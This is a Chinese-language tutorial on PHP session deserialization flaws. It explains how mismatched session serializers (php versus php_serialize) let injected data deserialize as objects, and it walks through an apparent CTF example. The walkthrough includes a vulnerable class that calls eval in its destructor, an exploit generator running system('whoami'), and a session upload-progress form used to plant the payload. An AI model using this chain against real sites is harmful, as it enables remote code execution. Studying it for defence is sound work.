PHP反序列化-3
PHP中的Session
Directive | 含义 |
---|---|
session.save_handler | session保存形式。默认为files |
session.save_path | session保存路径。 |
session.serialize_handler | session序列化存储所用处理器。默认为php |
session.upload_progress.cleanup | 一旦读取了所有POST数据,立即清除进度信息。默认开启 |
session.upload_progress.enabled | 将上传文件的进度信息存在session中。默认开启。 |
在上述的配置中,session.serialize_handler
是用来设置session的序列化引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不同。具体如下:
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过serialize() 函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize() 函数序列化处理的值 |
php_serialize | 经过serialize()函数序列化处理的数组 |
示例:
<?php
ini_set('session.serialize_handler', '引擎名');
session_start();
$_SESSION['name'] = 'haha';
?>
php引擎:
php_binary:
php_serialize:
Session反序列化漏洞原理
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确反序列化。通过精心构造数据包,就可以绕过程序的验证或者是执行一些敏感操作。
例如-在session中放入如下数据:
$_SESSION['name'] = '|O:8:"stdClass":0:{}';
而存储session数据用的处理器为php_serialize
,内容如下:
a:1:{s:4:"name";s:20:"|O:8:"stdClass":0:{}";}
那么当读取数据时采用的是php
引擎的话,反序列化时,根据php引擎对session数据的解释,会将|
以前看作键名,而将这之后的O:8:"stdClass":0:{}
看作键值,反序列后就会得到stdClass类对象。
分两种情况进行利用:
- session.auto_start=On
当配置选项 session.auto_start=On,会自动注册 Session 会话(相当于执行了session_start()
),因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的。因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话。然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题。
if(ini_get('session.auto_start'))
session_destroy();
ini_set('session.serialize_handler', 'php_serialize');
session_start();
if(isset($_GET['test']))
$_SESSION['test'] = $_GET['test'];
- session.auto_start=Off
两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题。
示例
index.php:
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
传入phpinfo,看一看配置:
可看到Session序列化和反序列化的处理引擎不同。
而想要进行利用就得往session中放入数据,可利用session.upload_progress
,可观察到session.upload_progress.cleanup配置为
Off:
当一个上传在处理中,同时 post 一个与 ini 设置的 session.upload_progress.name 同名变量时,php 检测到这种 post 请求时就会在 $SESSION 中添加一组数据,索引是 session.upload_progress.prefix
与 session.upload_progress.name
连接在一起的值,所以可通过 session.upload_progress 来设置 session。
因此,利用如下:
- 构造exp
<?php
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
$a = new OowoO();
$a->mdzz = "system('whoami');";
echo serialize($a);
?>
- 构造上传表单
<form action="index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
- 拦截上传请求,修改PHP_SESSION_UPLOAD_PROGRESS的值为exp: